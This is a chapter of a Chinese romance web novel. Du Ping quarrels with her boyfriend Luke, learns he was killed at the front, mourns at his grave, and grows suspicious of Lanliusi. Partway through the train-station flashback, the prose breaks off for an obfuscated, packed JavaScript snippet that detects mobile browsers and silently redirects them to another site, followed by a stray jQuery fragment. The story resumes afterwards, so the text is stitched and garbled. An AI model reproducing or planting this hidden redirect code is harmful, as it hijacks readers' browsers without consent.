少年站在湖边，静默凝望蔚蓝的天空。
这是一个秋季，寒风在侵袭，枯叶在坠落，夏日的盛景，正在无可挽留地衰败而去。
“卢克！”
少女的声音自身后响起，格外甜美，格外亲切，他脸上漾起笑意，回过头，迎面而来的却是一记拳头。
他被打青了眼，少女站在他面前，脖子上裹着一条雪白的围巾，正凶神恶煞地瞪着他。
“小瓶子，你听我解释……”
“解释什么？昨天我亲眼看见你在酒馆跟别的女的混一起！你非要逼我说那种话吗？那个女的是谁？”
他捂着眼睛，吃疼地回答:“……前女友。”
她丢下手里的背包，攥紧手又给了他一拳，“你这狗东西到底有多少前女友？你是不是存心想和我吵架？我在学校累死累活准备考试，你就和你的前女友们过你的潇洒生活！？”
少年接了这一拳，很对称地成为了一只并不在这个世界存在的物种，熊猫。
“那你和你那个同学算怎么回事？”
“同学？”她眯起眼，“什么意思？”
“那天我看到你和他坐在一起，我看到他抱了你……”
“所以你在报复我？”杜瓶瞪着眼，“就因为他抱了我？那你去找你前女友干嘛了？是抱了她一下、亲了她一下、还是睡了她一下？”
“我没有去找她……是偶遇……但你说的没错。”少年抬高了音量，话音愤愤，“我就是在报复你！凭什么你可以为了念书随时随地忽视我？冷淡我？去和你的同学卿卿我我？”
杜瓶冷笑着：“你不爽？那分手好了！”
“又来了……”
“我又来了？我受不了你这副花花公子的德行，你受不了我为了念书忽视你，那我们分手，皆大欢喜好了。”
杜瓶摊手，“反正我们只是青春疼痛期的少女少男，谈了场幼稚得要命的恋爱而已，你喜欢的女生多了去了，少我一个也没差，是吧？”
她捡起地上的背包，看也不看他一眼，转身就要离开。
少年蓦然睁大眼，他握住她的手腕，紧紧地钳制，一步也不让她离开。
“你要干嘛？”
她用力挣扎，却发现压根挣不开他的手，于是回头瞪着他。
“我什么也没有做，你明知道我只喜欢你。”
“我不知道。”
“明明是你先说要和我在一起，为什么现在这么轻易就可以对我说分手？”他眼里闪烁着哀伤的莹光，“你把我当什么了？一条召之即来挥之即去的狗吗？”
“狗至少比你对我忠心。”
她抬脚要将他踹开，少年被踹中大腿，被迫松开了手，杜瓶却感到眼前一黑，他倒下时，将她压到了草地上，此时头顶日光如金鳞，波纹熠熠。
他用带着温热汗液的手指去描她的眉弓，“我没有做对不起你的事情，你要是不信，就去问酒馆里的其他人，小瓶子，相信我，如果我出轨了，你要怎么惩罚我，诅咒我都行——”
“好啊。”
她用手里的背包狠狠砸他的脸，“要是敢出轨，那你就去死！”
*
杜瓶不知道自己是以什么样的心情进入树屋，走到克莱尔面前询问关于卢克的事情的。
这个家从前相当和睦，有乐芙妮奶奶，一对友善的夫妇，两个调皮的男孩，每年迎冬节卢克带着她来到这里，她都会感觉进入了一个不同于寒冷外界的温室，温室里有甜甜的热巧克力，火光闪烁的壁炉，各式各样毛绒绒的红绿披毯。
在她的印象里，这是一个温暖、独特且热闹的家庭。
但再次踏入树屋时，她忽然发现这里寂静到冰凉，即便如今已是盛夏八月。
除了克莱尔在同她说话以外，其他人都低下了头。
杜瓶与克莱尔再三确认，一遍又一遍地询问，妇女起初僵硬着摇头，后来终于不得不吐露实情——卢克的确是死了，早在去年冬季的时候，他就死在了阿依塔玛的战场之上。
他的骨灰今年春季才运回安戈市，就在杜瓶在中央广场偶遇克莱尔的那天，卢克的下葬仪式刚刚结束。
但为什么瞒着我呢？
“卢克的遗书里说，无论如何，让我们不要告诉你他离开了。”
“可能他觉得，让你恨他，总比你一直记着他要好。”
狗屁，狗屁，狗屁！他是不是中二病犯了，他是不是疯了？他在演戏对不对？
可说到这里的时候，克莱尔已接近情绪崩溃，杜瓶知道她没办法再问下去了。
她浑浑噩噩地离开了绿萝街，不知何去何从，回家么？
不……
杜瓶问修伊神父要了墓地的位置，去花店买了花，起先买的是白菊，后来想到卢克更喜欢海芋百合，于是买了一束海芋百合便去往了墓地。
杜瓶一直认为，死掉的前男友，才是最好的前男友。
直到她的前男友，真的死了。
她来到了他的埋葬之所，那是一处位于冬青树林中的空地，只有一块孤零零的墓碑，墓碑上写着几行字——
这里埋葬着帝国少尉卢克·俾米斯。
生于灰烬纪元1699年12月20日，卒于灰烬纪元1719年12月27日。
死后追为帝国烈士，获授月桂勋章。
其诞于祝福，献身国家，荣耀为伍，英勇不朽。
已经过了好几个月了，卢克大概是四月份下葬的吧？他的坟墓外围，已经长满了青翠的草丝，两朵紫色的野花从墓碑的缝隙里挤出来，好似要瞧瞧外头艳丽的阳光。
杜瓶将手里的海芋百合放在了他的墓碑前，她坐在他的墓碑前，可一切仍没有什么实感，尽管她听到神父说起他的葬礼是如何举行的，尽管克莱尔一遍又一遍地强调，他真的已经死了。
可她仍没有实感，好像他离开只是很短几个瞬间的事情。
她仍记得他趁着她睡觉偷吃掉了她手里的半块脆饼，贱兮兮地说来打我啊。
后来她又想起他离开的那日，他穿着崭新的黑白两色军装，火车还没有来，她坐在长椅上无聊地看书，他问她：“你看看别人来送别的恋人，要么哭泣要么沉痛，怎么就你对我爱答不理？”
“等你战死了我再给你沉痛悼念！”
她将书往脸上一搭。
火车呜呜地驶入车站，大朵大朵的白色蒸汽蔓延向无雨的阴天，他提起行李箱，在杜瓶的目送中上了火车。
她和其他来送别男友的女性一样，站在车窗前看他，他将行李放在座位上方，打开车窗探出头，朝她微笑：“等我回来，我会经常给你写信的。”
“好。”她点头，神情犹然平淡。
拉长的金属摩擦声响起，巨大的车轮在轨道上滚动，火车缓缓驶向前方，少年眯着琥珀黄的双眸，几乎将整个脑袋从车窗钻出来，朝她不断招手——
“小瓶子，等我回来！”
直到这一刻，她才想起没有跟他说一声道别，她匆忙穿过人群，朝他挥手喊了一声：“再见！卢克！”
车窗内的少年怔然望着冲出人群的少女，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012214|182661||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
向右歪着头，尽管彼此之间的距离越拉越远，他的视线依旧不断追随她所站立的方位。
火车前行的狂风将他的金棕头发渐次吹乱，一个壮汉将他扯回去，凶巴巴地问他干嘛要占他的位置。
少年狼狈地缩回脑袋，拼命跟那壮汉挠头解释。
杜瓶望着望着，噗嗤笑出声。
“再见，卢克。”
她伸手擦拭他的墓碑，现在已经傍晚时分了，树林内晚风习习，杜瓶买了一些零食和水果，虽然在这里没有用食物作祭品的习惯。
“吃吧，你活着的时候老是抱怨因为怕长胖吃不够零食和水果，现在你死了，灵魂这玩意儿轻飘飘的，再重不过两三克，怎么吃都不会胖的。”
她将那块巧克力放在他的墓前。
“其实你这家伙蛮幼稚的，既然留下了遗书，你是不是早就知道自己会死？我又不是接受不了你会战死，边境那么多士兵，每天都有很多人死去……”
她拿起刀，开始给他削苹果，削到一半，手指僵住，她望着那冰凉的墓碑：“不对，我突然想到，万一这一切都是你在整蛊我怎么办？你压根没死！卢克！你这个偷奸耍滑的家伙，怎么会成了先死的那个？”
她自顾自说完，发现夕阳残红笼罩下，冬青树林仍然平静如水。
双唇蠕动了下，她埋下头，继续削苹果，“我一点也不伤心，就算你死了，我也没忘了你去找北部姑娘的事情，要怪，就怪你当初非要立那个死亡FLAG……说起来，你还记得我们那次吵架吗？吵了整整一个月，不止不休，我一直觉得我们不太适合……”
“你是一个热情如火的人，我就像一潭死水，很少波动两下，你总嫌弃我对你太冷淡太随意，嫌我每回沉浸在机械里就对你爱答不理……”杜瓶絮絮叨叨地说着，“我们一点都不适合，可偏偏，每次我要走远的时候，你都及时上来拉住我，紧紧贴着我，你跟我规划我们的未来，我们的一切，好证明我们有多么登对。”
“但对于你，我真的不是一个合格的恋人。”
杜瓶将削得惨不忍睹的苹果放在了他的墓碑之上，“你有没有后悔和我在一起过？”
她将头深深埋在双膝内，双肩发着抖。
夜风每每浮动她的发丝，都像落下一层轻纱，她被这叠而又叠的纱衣覆盖，随着时间流逝，渐渐感到一种令人喘不上来气的沉重。
不知不觉，就到了深夜，她都记不清自己说了多少话，发了多久呆。
“瓶瓶。”
从黑暗的冬青树林中走出一道颀长的身影。
如同洒下了一束光，耀眼得杜瓶立刻抬起了头，她看到兰琉斯就站在她面前，用幽沉的目光望着她。
“兰琉斯。”
“我在。”
“卢克死了。”她颤声说道。
“嗯……”
她扑上去抱住他，“对不起……”
“用不着道歉。”他张了张双唇，“该道歉的是我。”
她发现他双目黯然，灰暗的钴蓝色双眸像一层坚硬的冰，底下隐忍的情绪是冰川深水在默默翻涌。
“我们回去吧。”他握着她的手往前走。
有那么一刻，杜瓶觉得这手掌温暖且令她安心。
直到他说起今晚特意为她做了她喜欢的柠檬鲑鱼。
无数回忆犹如丝线交织缠绕，在这一刻忽然集中地拧成一股绳子，在这股绳子上，攥出了一个碍眼的结，她松开了他的手，“兰琉斯，你认识卢克吗？”
他不该在听到这声疑问后陷入沉默的。